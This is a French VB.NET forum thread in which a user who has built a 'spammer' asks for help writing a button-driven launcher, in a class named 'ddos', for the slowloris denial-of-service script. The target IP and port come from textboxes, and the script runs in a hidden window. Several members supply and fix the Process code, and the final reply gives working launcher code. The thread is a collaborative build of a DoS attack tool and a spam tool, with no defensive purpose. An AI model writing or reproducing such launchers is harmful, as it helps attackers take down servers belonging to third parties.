[VB.net] Questions

[Membre supprimé 467681]

Salut,

J'ai fais un spammer et j'aimerais savoir comment on fait pour le stopper en appuyant sur une touche(ex : J'appuie sur F12 et le spam se stop)

Merci :p

 

[Evaelis]

While condition
SPAM()
End While

Ensuite tu capture le F12, et tu mets condition = 0

 

[Cyrion]

Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!

Regarde la première réponse.

 

[Membre supprimé 467681]

Merci

J'ai une autre question,

J'essaye de faire un laucher pour slowloris...
J'ai cherché, mais je ne trouve pas comment faire :
Voici le code en .bat :
@echo off
perl slowloris.pl -dns 000.000.000 :80 -timeout 1 -httpready

Comment je fais pour ouvrir ça depuis en programme vb?

Sachant que l'adresse IP(000.000.000) et le port(80) seront mis dans une textbox et que tout ce lance en appuyant sur un bouton !

 

[Evaelis]

T'était obligé de citer slowloris ?
Au pire tu peux simplement exécuter la commande ? ...

 

[Membre supprimé 467681]

Benn si, mais j'ai envie de la faire, sais plus simple...

 

[Evaelis]

Non mais l’exécutée en .net

Dim p As New Process With p.StartInfo .FileName = "cmd.exe" 'arguments .Arguments = "/k perl slowloris.pl -dns 000.000.000 :80 -timeout 1 -httpready" 'masque l'exécutable .WindowStyle = ProcessWindowStyle.Hidden End With p.Start()

 

[Membre supprimé 467681]

J'ai déjà essayé, mais il me met déclaration inattendue au p de p.StartInfo .FileName ...

 

[Evaelis]

Sauts de ligne

 

[Membre supprimé 467681]

Public Class ddos

Dim p As New Process With

p.StartInfo .FileName = "cmd.exe" 'arguments .Arguments = "/k perl slowloris.pl -dns " & textbox1 " " & textbox2 " -timeout 1 -httpready" 'masque l'exécutable' .WindowStyle = ProcessWindowStyle.Hidden End With p.Start()

End Class

Ben j'ai écrit ça....

 

[Cyrion]

Je crois que ça doit ressembler plus à ça..

Public Class ddos

Dim p As New Process With p.StartInfo

.FileName = "cmd.exe" 'arguments .Arguments = "/k perl slowloris.pl -dns " & textbox1 " " & textbox2 " -timeout 1 -httpready" 'masque l'exécutable'

.WindowStyle = ProcessWindowStyle.Hidden

End With p.Start()

End Class

 

[Membre supprimé 467681]

ça marche toujours pas ! C'est possible que ce soit que je n'es pas la bonne version? J'ai le 2008 et tout le monde à le 2010....

 

[Evaelis]

Envoie ton code, ce seras plus simple, car le code marche très bien et ne dépend pas de la version

 

[Membre supprimé 467681]

Public Class ddos

Dim p As New Process With p.StartInfo

.FileName = "cmd.exe" 'arguments .Arguments = "/k perl slowloris.pl -dns " & textbox1 " " & textbox2 " -timeout 1 -httpready" 'masque l'exécutable
.WindowStyle = ProcessWindowStyle.Hidden


End With

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
p.Start()
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
p.stop()
End Sub
End Class

Je comprend pas... Il faut faire un imports?

 

[Ben]

Public Function cmd()
        Dim p As New Process
        With p.StartInfo
            .FileName = "cmd.exe"
            .Arguments = "/k perl slowloris.pl -dns " & textbox1.Text & textbox2.Text & " -timeout 1 -httpready"
            .WindowStyle = ProcessWindowStyle.Hidden
        End With
        Return p.Start()
    End Function

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        cmd()
    End Sub

Rien de bien compliqué, après j'ai pas compris ce que fessais texbox1 et textbox2 dans ton apli mais la base c'est ça t'a juste à ajouter cette fonction dans ta forme.